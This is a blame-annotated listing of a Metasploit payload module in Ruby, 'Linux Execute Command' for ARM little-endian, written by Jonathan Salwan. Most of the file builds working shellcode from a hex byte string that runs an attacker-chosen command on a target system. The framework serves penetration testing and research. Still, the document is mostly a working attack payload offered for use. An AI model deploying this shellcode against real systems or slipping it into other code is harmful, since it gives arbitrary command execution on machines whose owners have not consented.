2010-08-25 21:44:33 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-08-25 21:44:33 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Exec
|
|
|
|
# ----
|
|
|
|
#
|
|
|
|
# Executes an arbitrary command.
|
|
|
|
#
|
|
|
|
###
|
|
|
|
module Metasploit3
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Execute Command',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Execute an arbitrary command',
|
|
|
|
'Author' => 'Jonathan Salwan',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_ARMLE))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_stage
|
|
|
|
cmd = datastore['CMD'] || ''
|
2010-08-26 20:21:41 +00:00
|
|
|
|
|
|
|
payload =
|
2010-08-25 21:44:33 +00:00
|
|
|
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" +
|
|
|
|
"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|